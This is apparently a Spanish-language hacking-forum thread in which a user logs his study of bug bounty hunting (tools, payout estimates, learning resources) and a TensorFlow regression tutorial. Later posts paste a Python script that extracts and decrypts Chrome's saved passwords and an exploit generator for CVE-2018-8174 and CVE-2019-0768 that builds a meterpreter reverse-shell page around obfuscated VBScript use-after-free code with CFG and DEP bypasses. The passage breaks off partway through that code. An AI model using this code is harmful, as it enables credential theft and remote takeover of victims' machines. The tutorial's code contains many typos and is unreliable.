Saludos comunidad

Actualmente existe una gran diversidad de opciones para monetizar las practicas de Hacking de forma aparentemente legal y que nos ayuda a desviar la mala imagen del "hacker" como criminal informatico. Pues bien el dia de hoy quiero abrir un hilo que sirva como registro sistematico de mi aprendizaje en este nicho de Networking y como lograre obtener y lograr monetizar todo el conocimiento que recopile los caminos a trabajar y demas. El motivo principal de esto es que logro observar que en el mundo de la informatica los tutoriales parecen mas un copia y pega de otros canales y la documentacion al respecto parece mas una biblia tecnica que una ruta para aprender. Si bien el objectivo principal es la recompensa de errores por explotacion Web. En este hilo puedo tocar mas de un tema relacionado.

¿Que es el Bug Bounty?

El Bug Bounty Hunter es un programa de auditoria donde se dan recompensas por el reporte de fallos a sistemas informaticos.

A través de estas plataformas las empresas interesadas en auditar sus servicios logran conectar con hackers éticos de cualquier lugar del planeta dispuestos a poner a prueba la seguridad de sus servicios. Cualquiera puede inscribirse y participar de estos programas de Bug Bounty, ya sea como un hobby o como una actividad lucrativa. Las empresas cuando abren sus programas detallan el alcance del mismo y fijan distintos premios para quienes encuentren fallos, generalmente de según la gravedad de los mismos.

Desde un punto de vista técnico, un Bug Bounty Hunter realiza actividades como:

Reconocimiento y recopilación de información: Utiliza herramientas y técnicas para mapear la infraestructura del objetivo, identificar subdominios, servicios en ejecución, tecnologías utilizadas, etc. Ejemplos de herramientas incluyen Nmap, Recon-ng, y Shodan.

Análisis de vulnerabilidades: Emplea técnicas de escaneo y análisis para detectar fallos como inyección SQL, Cross-Site Scripting (XSS), desbordamientos de búfer, errores de configuración, etc. Herramientas como Burp Suite, OWASP ZAP, y metasploit son comunes en esta etapa.

Explotación controlada: Cuando encuentra una vulnerabilidad, intenta explotarla de manera ética para confirmar su impacto, siempre respetando las reglas del programa de bug bounty y sin causar daños.

Documentación y reporte: Finalmente, redacta informes detallados que describen la vulnerabilidad, cómo fue encontrada, el impacto potencial y las pasos para reproducirla. Esto ayuda a los equipos de seguridad a corregir el fallo.

Es importante destacar que los Bug Bounty Hunters deben seguir un código ético estricto, respetando las reglas del programa y actuando con responsabilidad para no causar daños ni vulnerar la privacidad de los usuarios.

¿Como se trabajan en estos programas?

Si bien podemos encontrar empresas que ofrecen programas de recomensas de forma publica aplicando busquedas de Google Dorks en el sigueinte enlace https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt.  Existen empresas que intermedian estos procesos donde el principal cliente es la empresa que abre sus sistemas. Las plataformas mas conocidas son

HackerOne: https://www.hackerone.com/
Bugcrowd: https://www.bugcrowd.com/
Intigriti: https://www.intigriti.com/
YesWeHack: https://www.yeswehack.com/
Synack: https://www.synack.com/

Todo lo anterior serian los entornos de trabajos publicos o que podemos conseguir en internet.

¿Herramientas tipicas de en el Bug Bounty?

Pues existen gran variedad de herramientas y metodologias entre ellas

Herramientas técnicas avanzadas
Burp Suite (Pro y Community)

Interceptación y modificación de tráfico: Permite capturar y modificar solicitudes HTTP/HTTPS en tiempo real.
Spidering y crawling: Automatiza la exploración de sitios web para descubrir todos los endpoints.
Scanner: En la versión Pro, realiza análisis automatizados de vulnerabilidades como XSS, inyección SQL, etc.
Repeater y Intruder: Para pruebas manuales y automatizadas de inyección y manipulación de datos.
Extensiones (BApp Store): Añade funcionalidades como detección de vulnerabilidades específicas, análisis de javascript, etc.
OWASP ZAP (Zed Attack Proxy)

Proxy intercept: Similar a Burp, permite inspeccionar y modificar tráfico.
Automatización: Scripts en Python o Java para automatizar pruebas.
Plugins y extensiones: Para detección de vulnerabilidades específicas.
Active y passive scanning: Análisis en tiempo real y análisis pasivo para detectar problemas sin afectar la aplicación.
Nmap y NSE (Nmap Scripting Engine)

Escaneo de puertos y servicios: Detecta qué servicios están activos en un host.
Detección de versiones: Identifica versiones específicas de servicios y posibles vulnerabilidades conocidas.
Scripts NSE: Scripts personalizados para detectar vulnerabilidades específicas, como detección de servidores web vulnerables, servicios con configuraciones inseguras, etc.
Metasploit Framework

Exploits y payloads: Amplia base de exploits para vulnerabilidades conocidas.
Auxiliary modules: Para escaneo, fuzzing y recopilación de información.
Post-exploitation: Para mantener acceso, escalada de privilegios y recopilación de datos.
SQLmap

Automatización de inyección SQL: Detecta y explota vulnerabilidades de inyección SQL.
Soporte para diferentes bases de datos: MySQL, PostgreSQL, Oracle, SQL Server, etc.
Técnicas avanzadas: Blind SQL injection, out-of-band, y técnicas de evasión.
Recon-ng

Módulo de reconocimiento: Para recopilar información sobre dominios, subdominios, correos electrónicos, etc.
Integración con otras herramientas: Como Shodan, VirusTotal, etc.
Automatización: Scripts para realizar reconocimiento en masa.
Gobuster / Dirb

Fuzzing de directorios y archivos: Para descubrir recursos ocultos en servidores web.
Diccionarios personalizados: Para mejorar la detección de recursos específicos.
Wireshark

Análisis en profundidad del tráfico de red: Para detectar datos sensibles, sesiones no cifradas, o tráfico malicioso.
Filtros avanzados: Para aislar tipos específicos de tráfico o protocolos.
JoomScan / WPScan

Detección de vulnerabilidades específicas: En plataformas CMS como Joomla o WordPress.
Plugins y temas vulnerables: Identificación de componentes desactualizados o con vulnerabilidades conocidas.
Conocimientos técnicos avanzados
Protocolos web y de red

HTTP/HTTPS, WebSocket, TCP/IP, DNS, TLS/SSL, etc.
Análisis de cabeceras, cookies, tokens, sesiones, y mecanismos de autenticación.
Programación y scripting

Python: Para automatización, creación de exploits, análisis de respuestas.
Bash: Para scripting en Linux, automatización de tareas.
javascript: Para entender y explotar vulnerabilidades en el lado cliente, como XSS.
Otros lenguajes: Ruby (para Metasploit), PowerShell (en entornos Windows).
Seguridad en aplicaciones web

Inyección SQL: Técnicas de detección y explotación.
Cross-Site Scripting (XSS): Tipos (Reflejado, Persistente, DOM-based), técnicas de evasión.
Cross-Site Request Forgery (CSRF): Cómo detectar y prevenir.
Inyección de comandos: En servidores y aplicaciones.
Autenticación y autorización: Flujos, sesiones, tokens JWT

¿Top 10 de las vulnerabilidades mejores pagadas?

top 10 de las vulnerabilidades mejor pagadas en el mundo del bug bounty y la seguridad, basándome en las tendencias y recompensas que suelen ofrecer las plataformas y empresas. Recuerda que los pagos pueden variar según la gravedad, la empresa y la complejidad del hallazgo, pero estas son algunas de las más lucrativas y buscadas:

1. Inyección SQL (SQL Injection)

Descripción: Permite a un atacante manipular consultas SQL para acceder, modificar o eliminar datos en la base de datos.
Recompensa: Hasta decenas de miles de dólares, especialmente si se obtiene acceso a datos sensibles o control del sistema.

2. Cross-Site Scripting (XSS) Persistente y DOM-based

Descripción: Permite ejecutar scripts maliciosos en el navegador de otros usuarios, pudiendo robar cookies, sesiones o realizar acciones en nombre de la víctima.
Recompensa: Hasta $30,000 o más en casos críticos.

3. Vulnerabilidades de Autenticación y Sesiones (como fallos en OAuth, tokens inseguros, etc.)

Descripción: Fallos que permiten a un atacante suplantar identidades o secuestrar sesiones.
Recompensa: Hasta $50,000 o más si se compromete un sistema de alta seguridad.

4. Desbordamiento de Buffer (Buffer Overflow)

Descripción: Permite ejecutar código arbitrario en el sistema afectado, potencialmente tomando control completo del sistema.
Recompensa: Hasta $100,000 en casos de vulnerabilidades en software crítico.

5. Vulnerabilidades en Autenticación Multifactor (MFA) mal implementada o saltada

Descripción: Fallos que permiten evadir mecanismos de MFA, comprometiendo cuentas de alto valor.
Recompensa: Hasta $20,000 - $50,000.

6. Exploits en APIs (como inyección, autenticación, autorización)

Descripción: Fallos en APIs que permiten acceso no autorizado o manipulación de datos.
Recompensa: Hasta $25,000 o más en casos críticos.

7. Vulnerabilidades en Sistemas de Pago y Finanzas (como fallos en plataformas bancarias, criptomonedas)

Descripción: Fallos que permiten transferencias no autorizadas o robo de fondos.
Recompensa: Hasta cientos de miles de dólares en casos extremos.

8. Vulnerabilidades en Software de Infraestructura (como servidores, sistemas operativos, cloud)

Descripción: Fallos que permiten control total del sistema o acceso a datos confidenciales.
Recompensa: Hasta $100,000 o más en casos de impacto global.

9. Vulnerabilidades en Plataformas de Redes Sociales y Servicios de Mensajería

Descripción: Fallos que permiten manipular cuentas, robar datos o realizar ataques de spam.
Recompensa: Hasta $20,000 - $50,000.

10. Vulnerabilidades en IoT y Dispositivos Conectados

Descripción: Fallos que permiten controlar dispositivos, acceder a redes internas o realizar ataques de denegación de servicio.
Recompensa: Hasta $10,000 - $50,000 dependiendo del impacto.

Los numeros anteriores son demasiado optimistas y parecen demasiado bueno para ser verdad.

Las fuentes de informacion de donde planeo investigar incluyendo la biblioteca de ElHacker.net son

HackerOne Hacktivity

Explora informes públicos de vulnerabilidades reportadas y aprende de casos reales.
https://hackerone.com/hacktivity

Bugcrowd University

Cursos gratuitos, guías y recursos para aprender sobre bug bounty y seguridad.
https://www.bugcrowd.com/resources/bugcrowd-university/
PortSwigger Web Security Academy

Laboratorios prácticos y tutoriales sobre vulnerabilidades web.
https://portswigger.net/web-security
TryHackMe

Laboratorios interactivos y rutas de aprendizaje en hacking ético y bug bounty.
https://tryhackme.com/
Hack The Box

Desafíos prácticos en seguridad y hacking ético, con escenarios reales.
https://www.hackthebox.eu/
VulnHub

Máquinas vulnerables para practicar hacking en un entorno controlado.
https://www.vulnhub.com/
OWASP WebGoat

Aplicación web vulnerable para aprender y practicar técnicas de explotación.
https://owasp.org/www-project-webgoat/
PentesterLab

Cursos prácticos en seguridad web y APIs, con enfoque en bug bounty.
https://pentesterlab.com/
YouTube - Canales especializados

LiveOverflow: https://www.youtube.com/c/LiveOverflow
The Cyber Mentor: https://www.youtube.com/c/TheCyberMentor
HackerSploit: https://www.youtube.com/c/HackerSploit
Reddit - r/bugbounty

Comunidad activa para compartir experiencias y recursos.
https://www.reddit.com/r/bugbounty/
Discord - Bug Bounty World (y otros grupos)

Comunidad en Discord para aprender y compartir en tiempo real.
https://discord.gg/bugbountyworld

. Es un registro de proyecto ambicioso al que quiero dedicar todo el tiempo que me permita mi vida cotidiana. Asi que aqui os dejo un resumen de todo lo que planeo publicar

Saludos despues de dias de inactividad me llegaron comentarios relacionado con temas de la "Caza" de Vulnerabilidades y pagos, mi consulta actual respecto a la comunidad seria si algunos de vosotros ya lograron este tipo de trabajos y como es el proceso real para cobrar el dinero respecto a la explotación. Algunos enlaces que consulte antes de realizar estas preguntas

https://disclose.io/
https://blog.hackbynight.nl/getting-started-with-bug-bounty-hunting-in-2025-a-real-world-guide-051a3fb36376
https://www.bugbountyhunter.com/getting-started/

Saludos

Dentro de la inteligencia artificial tenemos
Machine Learning (ML): Las computadoras aprenden en base a experiencias pasadas, subconjunto de este esta el
Deep Learning (DL): Crear predicciones y clasificaciones basado en redes neuronales artificiales profundas (RNA) utilizando grandes conjuntos de datos el cerebro humano esta formado por miles de millones de neuronas que se comunican entre si medientes señales electricas.

Lo que diferencia el aprendizaje profundo de las tecnicas de aprendizaje de las maquinas es su capacidad para extraer características automaticamente

Procesos Machine Learning:

• 1. Seleccionar el modelo a entrenar
• 2. realizar manualmente la extracción de características.

Procesos Deep Learning:

• 1. Seleccionar la arquitectura de la red
• 2. las características se extraen automáticamente alimentando los datos de entrenamiento junto con la clase de objectivo.

Proyecto 1: Convertir Celsius a Fahrenheit.

En este proyecto, construiremos un simple modelo de aprendizaje de máquinas para convertir las temperaturas de Celsius a Fahrenheit.
La ecuación es la siguiente

 T(ºF) = T(ºC) * (9/5) + 32
Ejemplo T(ºF) = (0ºC * 9/5) +32 = 32ºF

El objectivo es predecir el valor de una variable Y en base a otra variable X.
X se llama la variable independiente e Y se llama la variable dependiente
Esto se llama "Regresión" y se tratará con mucho mas a detalle.


Son modelos de procesamiento de información inspirados en el cerebro humano. Donde tenemos un conjunto de entrenadas y nos devuelve un valor de salida.

vamos a ver cómo funcionan, tenemos el cerebro y la imagen de un gato, la imagen es un input y la funcion del cerebro es predecir que la imagen es un gato, cuando la imagen entra al cerebro (RNA) lo "correlaciona" con "experiencias pasadas" encuentra las características y reconoce. Mas el aprendizaje seria el siguiente, al analizar la imagen calcula cuando es correcto, si se equivocó o no y se genera una perdida (función de perdida) que crea una retroalimentación que se relaciona con una "Actualización de Pesos", todo pasa una y otra vez hasta que la neurona va reduciendo su funcion perdida.


Cargamos una lista con datos de entrenamiento (una tabla de Celsius a Fahrenheit)

Primero importamos la libreria tensorflow en python

import tensorflow as tf

la libreria panda que perdimite cargar el set de datos y trabajar con el en las sets de entrenamiento y prueba básicamente (base de datos y archivos)

import pandas as pd

la libreria numpy nos permite trabajar con matrices y matemátaicas.

import numpy as np

la libreria seaborn para hacer las visualizaciones de nuestro modelo.

import seaborn as sns

finalmente vamos a hacer splots de nuestro modelo para ver los gráficos con la libreria "matplotlib.pyplot"

import matploitlib.pyplot as plt

nota: en caso de no tener las librerias disponibles ejecutar el siguiente comando pip install nombre_de_la_libreria. continuamos

importamos el set de datos (base de datos) del set de entrenamiento

#Importando Datos
temperatura_df = pd.read_csv("celsius_a_fahrenheit.cvs")

el archivo "celsius_a_fahrenheit.cvs" es un documento abierto en excel con dos colummnas, la primera en Celsius (variable independiente) y la segunda en Fahrenheit (este set de datos puede crearse automaticamente usando una macro)

Celsius/Fahrenheit
**** / ****
**** / ****
**** / ****
**** / ****
...
...
...
**** / ****

a mayor cantidad de datos mejor sera en entrenamiento en este caso.

Para la visualización de datos

#visualizacion
sns.scatterplot(temperature_df['Celsius'],temperature_df['Fahrenheit'])

siguiente

#Cargando Set de Datos
X_train = temperature_df['Celsius']
y=train = temperature_df['Fahrenheit']

Creamos el modelo con tensorflow

#Creando el modelo
model = tf.keras.Sequential()

Sequential() significa que vamos a crear nuestro modelo capa por capa de manera "secuencial", recordemos que las neuronas tienen puntos de entrada tienen acciones dendritas sinapsis y todo eso hace a la neurona. entonces vamos a agregar, creamos la primera capa de nuestro modelo con la variable model agregamos la capa con el subcomando ".add()" y usamos el comando "tf.keras.layers"

model.add(tf.keras.layers.Dense(units=1, input_shape[1]))

la capa Dense es de las capaz mas simples, donde los parametros de entrada son "units" cantidad de neuronas en este caso nos basta con solo una e "input_shape" que el valor sera tambien 1.

Cuando trabajamos con IA debemos ver el modelo, con eso vemos la red antes de trabajar.

model.summary()

Las redes neuronales aprenden atravez de la funcion de perdida y ajustes de pesos (sesgos)

#Compilado
model.compile(optimizer=tf.keras.optimizers.Adam(0.5), loss='mean_squared_error')

En estadistica el error medio cuadrado es llamada desviación media cuadrada de un estimador mide el promedio de los cuadrados de los errores, es decir, la diferencia media cuadrada entre los valores estimados. El error medio cuadrado es una función de riesgo que corresponde al valor esperado de la perdida del error al cuadrado. Y lo que buscamos es la perdida del error para poder optimizar nuestra red.

Con lo anterior ya hemos compilado el modelo ahora nos falta una funcion que nos perdida entrena el modelo.
crear una funcion que nos perdima actualizar nuestros pesos corriendo atraves del set de datos para ajustar los pesos, por eso se cargo el set de datos en las variables X_train y y_train. llamos al modelo secuencia y le agregamos una neurona con la capa tipo Dense definiendo una neurona y una salida, compilamos el modelo en base a un optimizador y un modelo de errores.

Tenemos que crear una lista de epochs, el epochs es el numero de ciclos cuando se lee todo el set de entrenamiento.

#Entrenando el modelo
epochs_hist = model.fit(x_train, y_train, epochs = 100)

el entrenamiento dura realmente poco porque estamos trabajando con regresion lineal y porque el set de datos esta definido bajo un numero relativamente pequeño de entradas y salidas (recomendable ajustar la base de datos a 30 lineas en el excel)

cuando entrenamos el modelo veremos que la optimizacion del modelo esta basado en el valor "loss" a menor sea el valor mas exacto es el modelo.

nos interesa ver el historial de entrenamiento

#Evaluando modelo
epochs_hist.history.keys()

obtiene las llaves o claves del entrenamiento

#grafico
plt.plot(epochs_hist.history['loss'])
plt.title('Progreso de perdida durante el entrenamiento del modelo')
plt.xlabel('Epoch')
plt.ylabel('Training Loss')
plt.legends('Training Loss')

Lo anterior muestra la evolucion al modelo respecto a numero de ciclos de entrenamiento "epochs".

obtenemos los pesos del modelo

model.get_weights()

Ahora nos interesa hacer prediciones, comparamos el modelo con la ecuacion "ya que existe la formala determista" con eso evaluamos la exactitud del mismo.

#Predicciones
Temp_C = 0
temp_F = model.predict([Temp_C])
print(temp_F)
 
#formula
Temp_F = (9/5)*Temp_c + 32.
print(Temp_F)

y comparamos. para mejorar la prediccion podemos cambiar el modelo de compilado de 0.5 a 1

#Compilado
model.compile(optimizer=tf.keras.optimizers.Adam(1), loss='mean_squared_error')

Con lo anterior terminamos el modelo basico para iniciar con inteligencia artificial. E aqui el codigo fuente completo.

import tensorflow as tf
import pandas as pd
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
 
#impotando Datos
temperature_df = pd.read_csv("celsius_a_fahrenheit.csv")
 
#Visualizacion
sns.scatterplot(temperature_df['celsius'], temperature_df['fahrenheit'])
 
#Cargando Set de Datos
X_train = temperature_df['Celsius']
y_train = temperature_df['Fahrenheit']
 
#Creando el modelo
model = tf.keras.sequential()
model.add(tf.keras.layers.DEnse(units=1, input_shape=[1]))
 
model.summaryÇ()
 
#compilado
model.compile(optimizar=tf.keras.optimizers.Adam(1),loss='mean_squared_error')
 
#Entrenando el modelo
epochs_hist = model.fit(x_train, y_train, epochs=100)
 
#Evaluando modelo
epochs_hist.history.keys()
 
#gafico
plt.plot(epochs_hist.history['loss'])
plt.title('Progreso de perdida durante el entrenamiento del modelo')
plt.xlabel('Epoch')
plt.ylabel('Training Loss')
plt.legends('Training Loss')
 
model.get_weights()
 
#Predicciones
Temp_C = 0
temp_F = model.predict([Temp_C])
print(temp_F)
 
#formula
Temp_F = (9/5)*Temp_c + 32.
print(Temp_F)

Saludos

Saludos comunidad, esto no representa un aporte real sino un codigo que estaba estudiando en python como parte del inicio de mi portafolio personal y me encuentro con el siguiente Script. Requiere 2 librerias

import os
import sqlite3
import win32crypt #pip install pypiwin32
 
def get_chrome():
  data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
  c = sqlite3.connect(data_path)
  cursor = c.cursor()
  select_statement = 'SELECT origin_url, username_value, password_value FROM Logins'
  cursor.execute(select_statement)
 
  login_data = cursor.fetchall()
 
  cred = {}
  string = ''
 
  for url, user_name, pws in login_data:
    pwd = win32crypt.CryptUnprotectData(pwd)
    cred[url] = (user_name, pwd[1].decode('utf8'))
    string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8'))
    print(string)
    os.system('pause')
 
if __name__ == '__main__':
  get_chrome()
 
'''
  File "\code\get_chrome.py", line 10, in get_chrome
    cursor.execute(select_statement)
sqlite3.OperationalError: database is locked
'''

me devuelve un error de sqlite3.OperationalError: database is locked.

Saludos

Consegui este fragmento de codigo por un compañero. Lo dejo por aca para analizarlo con calma y poder trabajar con el sin abusar del Virtual Box.

import sys
import subprocess
 
usage_text = """
 
Exploit Generator for CVE-2018-8174 & CVE-2019-0768
 
Prerequisite:
- Metasploit
- msfvenom
 
Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
 
Instruction:
1. Use this script to generate "exploit.html"
2. Host the html file on your server
3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
 
"""
 
if len(sys.argv) != 3:
   print usage_text
   sys.exit()
 
lhost = sys.argv[1]
lport = sys.argv[2]
#p = subprocess.call(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost])
p = subprocess.Popen(["msfvenom","-p","windows/meterpreter/reverse_tcp","LHOST="+lhost,"LPORT="+lport,"-b","'\\x00'","-f","js_le"],stdout=subprocess.PIPE)
 
out = p.communicate()
result = out[0]
payload = """
 
<!doctype html>
<html lang=\"en\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">
<meta http-equiv=\"x-ua-compatible\" content=\"IE=5\">
<meta http-equiv=\"Expires\" content=\"0\">
<meta http-equiv=\"Pragma\" content=\"no-cache\">
<meta http-equiv=\"Cache-control\" content=\"no-cache\">
<meta http-equiv=\"Cache\" content=\"no-cache\">
</head>
<body>
<script language=\"VBScript.Encode\">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr
 
IlII=195948557
lIlIIl=Unescape(\"%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000\")
lIIIll=Unescape(\"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000\")
IllI=195890093
Function IIIII(Domain) 
	lIlII=0
	IllllI=0
	IIlIIl=0
	Id=CLng(Rnd*1000000)
	lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
	If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
		lIlII=lIlII-(&h86d+6447-&H219b)
	End If
 
	IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
	IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
	IIIII=Domain &\"?\" &Chr(IllllI) &\"=\" &Id &\"&\" &Chr(IIlIIl) &\"=\" &lIlII
End Function
 
Function lIIII(ByVal lIlIl)
	IIll=\"\"
	For index=0 To Len(lIlIl)-1
		IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
	Next
	IIll=IIll &\"00\"
	If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
		IIll=IIll &\"00\"
	End If
	For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
		lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
		lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
		lIIII=lIIII &\"%u\" &lIlIll &lIIIlI
	Next
End Function
Function lIlI(ByVal Number,ByVal Length)
	IIII=Hex(Number)
	If Len(IIII)<Length Then
		IIII=String(Length-Len(IIII),\"0\") &IIII    \'pad allign with zeros 
	Else
		IIII=Right(IIII,Length)
	End If
	lIlI=IIII
End Function
Function GetUint32(lIII)
	Dim value
	llll.mem(IlII+8)=lIII+4
	llll.mem(IlII)=8		\'type string
	value=llll.P0123456789
	llll.mem(IlII)=2
	GetUint32=value
End Function
Function IllIIl(lIII)
	IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
	lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
	llll.mem(IlII)=(&h713+3616-&H1530)
	GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
	llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
	On Error Resume Next
	Dim lllll
	lllll=llllll
	lllll=null
	SetMemValue lllll
	LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
	Dim llIl
	llIl=IllIll And &hffff0000
	Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
		llIl=llIl-65536
	Loop
	GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
	Dim lIIlI,IIIl
	lIIlI=\"\"
	For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
		lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
	Next
	StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
	Dim import_rva,nt_header,descriptor,import_dir
	Dim IIIIII
	nt_header=GetUint32(base_address+(&h3c))
	import_rva=GetUint32(base_address+nt_header+&h80)
	import_dir=base_address+import_rva
	descriptor=0
	Do While True
		Dim Name
		Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
		If Name=0 Then
			GetBaseFromImport=&hBAAD0000
			Exit Function
		Else
			If StrCompWrapper(base_address+Name,name_input)=0 Then
				Exit Do
			End If
		End If
		descriptor=descriptor+1
	Loop
	IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
	GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
 
Function GetProcAddr(dll_base,name)
	Dim p,export_dir,index
	Dim function_rvas,function_names,function_ordin
	Dim Illlll
	p=GetUint32(dll_base+&h3c)
	p=GetUint32(dll_base+p+&h78)
	export_dir=dll_base+p
 
	function_rvas=dll_base+GetUint32(export_dir+&h1c)
	function_names=dll_base+GetUint32(export_dir+&h20)
	function_ordin=dll_base+GetUint32(export_dir+&h24)
	index=0
	Do While True
		Dim lllI
		lllI=GetUint32(function_names+index*4)
		If StrCompWrapper(dll_base+lllI,name)=0 Then
			Exit Do
		End If
		index=index+1
	Loop
	Illlll=IllIIl(function_ordin+index*2)
	p=GetUint32(function_rvas+Illlll*4)
	GetProcAddr=dll_base+p
End Function
 
Function GetShellcode()
	IIlI=Unescape(\"%u0000%u0000%u0000%u0000\") &Unescape(\"{shellcode}\" &lIIII(IIIII(\"\")))
	IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
	GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
	Dim High,Low
	High=lIlI((value And &hffff0000)/&h10000,4)
	Low=lIlI(value And &hffff,4)
	EscapeAddress=Unescape(\"%u\" &Low &\"%u\" &High)
End Function
Function lIllIl
	Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
	IlllI=lIlI(NtContinueAddr,8)
	IlIII=Mid(IlllI,1,2)
	llllI=Mid(IlllI,3,2)
	llIII=Mid(IlllI,5,2)
	lIllI=Mid(IlllI,7,2)
	IIlI=\"\"
	IIlI=IIlI &\"%u0000%u\" &lIllI &\"00\"
	For IIIl=1 To 3
		IIlI=IIlI &\"%u\" &llllI &llIII
		IIlI=IIlI &\"%u\" &lIllI &IlIII
	Next
	IIlI=IIlI &\"%u\" &llllI &llIII
	IIlI=IIlI &\"%u00\" &IlIII
	lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) \'bypass cfg
	Dim IIlI
	IIlI=String((100334-65536),Unescape(\"%u4141\"))
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
	IIlI=IIlI &EscapeAddress(&h3000)
	IIlI=IIlI &EscapeAddress(&h40)
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
	IIlI=IIlI &String(6,Unescape(\"%u4242\"))
	IIlI=IIlI &lIllIl()
	IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape(\"%u4141\"))
	WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
	Dim IIlI
	Dim lllllI
	lllllI=lIlll+&h23
	IIlI=\"\"
	IIlI=IIlI &EscapeAddress(lllllI)
	IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape(\"%4141\"))
	IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
	IIlI=IIlI &EscapeAddress(&h1b)
	IIlI=IIlI &EscapeAddress(0)
	IIlI=IIlI &EscapeAddress(lIlll)
	IIlI=IIlI &EscapeAddress(&h23)
	IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape(\"%u4343\"))
	ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
	llll.mem(IlII)=&h4d \'DEP bypass
	llll.mem(IlII+8)=0
    msgbox(IlII)		\'VT replaced
End Sub
 
Class cla1
Private Sub Class_Terminate()
	Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
	IllI=IllI+(&h14b5+2725-&H1f59)
	lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
 
End Class
 
Class cla2
Private Sub Class_Terminate()
	Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
	IllI=IllI+(&h880+542-&Ha9d)
	lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
 
Class IIIlIl
End Class
 
Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value
	SetProp=0
End Function
End Class
 
Class IIIlll
Dim mem
Function P0123456789
	P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class
 
Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
	IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
	Set IIIlI(IIIl)=llII
Next
End Property
End Class
 
Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
	IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
	Set IllII(IIIl)=llII
Next
End Property
End Class
 
Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
	For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
		Set IIllI(IIIl)=New IIIlIl
	Next
	For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
		Set IIllI(IIIl)=New llIIl
	Next
	IllI=0
	For IIIl=0 To 6
		ReDim lIIl(1)
